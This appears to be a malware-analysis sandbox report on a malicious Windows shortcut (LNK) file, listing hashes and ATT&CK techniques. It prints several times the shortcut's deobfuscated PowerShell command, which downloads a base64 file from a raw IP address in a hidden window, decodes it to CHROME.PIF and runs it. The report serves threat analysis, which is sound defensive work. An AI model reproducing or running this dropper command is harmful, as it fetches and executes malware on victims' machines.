Malicious
Malicious

a5d39484b4ae07720549bfe225c33c79fab846[...]lnk.bin

LNK File
|
MD5: cfd8f214093362cb2ef0e6c77d388067
|
Size: 202.56 KB
|
application/x-ms-shortcut

LNK
Malicious
LOLBin
LOLBin:powershell.exe
Execution: CMD in LNK
T1059.003
T1202: Indirect Command Execution
T1204.002
Execution: PowerShell in LNK
T1059.001
PowerShell
Batch Command
PowerShell Call
DeObfuscated
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
cfd8f214093362cb2ef0e6c77d388067
Sha1
8482a42f02fc5b6a1dcc35a2ad6422950b8c98d2
Sha256
a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28
Sha384
91ecc884948c9c78fc7de29888cece70e40eb4bab2ebe9e17b73bc88a6d65a148ea08db5c56912a5ac7d338fe949fd9f
Sha512
42be2dd7d822ae0965768d5cb7bd41b1ca4a9aa3466aa101ab92d2b0d9ce11bf5ac9512d97f0bf78439a6ebadd39a33e626e9b0a57ff3c11c19e0063e7feae5b
SSDeep
3072:qKbqArIUlBDY9hToTRWCm3Nb9zDxxXNjh/zlO0lHobchyxv8+VZxVJHsQFV+EHqw:p2AP+TY4x19zDfv/4o+chyxzjHsQFVTV
TLSH
8714F164D66B0F9EFDA509FC0C6E2B5A4C8D7D323D33C4F1CD9A240B42255961AB2E1B
File Structure
a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin
LNK
Malicious
LOLBin
LOLBin:powershell.exe
Execution: CMD in LNK
T1059.003
T1202: Indirect Command Execution
T1204.002
Execution: PowerShell in LNK
T1059.001
PowerShell
Batch Command
PowerShell Call
DeObfuscated
Malicious
LNK CommandLine
PowerShell
Batch Command
PowerShell Call
DeObfuscated
Powershell: Hidden Execution
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
[PowerShell Command]
PowerShell
DeObfuscated
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
[Lnk Summary]
PowerShell
DeObfuscated
Malicious
[PowerShell Command]
PowerShell
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
Artefacts
Name
 Value
LNK: Command Execution

powershell.exe -WindowStyle hidden -noLogo -Command -NoExit (new-object System.Net.WebClient).DownloadFile('http://84.252.123.137/music/output.txt','C:\\Users\\Public\\png'); $file = 'C:\\Users\\Public\\png'; [System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\Users\\Public\\CHROME.PIF -Encoding Byte; start C:\\Users\\Public\\CHROME.PIF;
Deobfuscated PowerShell

-windowstyle "hidden" -noLogo -Command -NoExit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"
Deobfuscated PowerShell

-windowstyle "hidden" -noLogo -Command -NoExit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"
Deobfuscated PowerShell

-noexit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"
Deobfuscated PowerShell

-noexit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"
a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin (202.56 KB)
File Structure
a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin
LNK
Malicious
LOLBin
LOLBin:powershell.exe
Execution: CMD in LNK
T1059.003
T1202: Indirect Command Execution
T1204.002
Execution: PowerShell in LNK
T1059.001
PowerShell
Batch Command
PowerShell Call
DeObfuscated
Malicious
LNK CommandLine
PowerShell
Batch Command
PowerShell Call
DeObfuscated
Powershell: Hidden Execution
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
[PowerShell Command]
PowerShell
DeObfuscated
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
[Lnk Summary]
PowerShell
DeObfuscated
Malicious
[PowerShell Command]
PowerShell
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
[Deobfuscated PS]
DeObfuscated
PowerShell
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
LNK: Command Execution

powershell.exe -WindowStyle hidden -noLogo -Command -NoExit (new-object System.Net.WebClient).DownloadFile('http://84.252.123.137/music/output.txt','C:\\Users\\Public\\png'); $file = 'C:\\Users\\Public\\png'; [System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\Users\\Public\\CHROME.PIF -Encoding Byte; start C:\\Users\\Public\\CHROME.PIF;

Malicious

a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin
Deobfuscated PowerShell

-windowstyle "hidden" -noLogo -Command -NoExit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"

Malicious

a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin > LNK CommandLine
Deobfuscated PowerShell

-windowstyle "hidden" -noLogo -Command -NoExit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"

Malicious

a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin > LNK CommandLine > [Deobfuscated PS]
Deobfuscated PowerShell

-noexit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"

Malicious

a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin > LNK CommandLine > [PowerShell Command]
Deobfuscated PowerShell

-noexit (New-Object "System.Net.WebClient")."DownloadFile"("http://84.252.123.137/music/output.txt", "C:\\Users\\Public\\png") $file = "C:\\Users\\Public\\png" [Convert]::"FromBase64String"((Get-Content $file)) | Set-Content "C:\\Users\\Public\\CHROME.PIF" -Encoding "Byte" start "C:\\Users\\Public\\CHROME.PIF"

Malicious

a5d39484b4ae07720549bfe225c33c79fab846e00eaa7a8a97e7d14044370c28.lnk.bin > LNK CommandLine > [PowerShell Command] > [Deobfuscated PS]
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙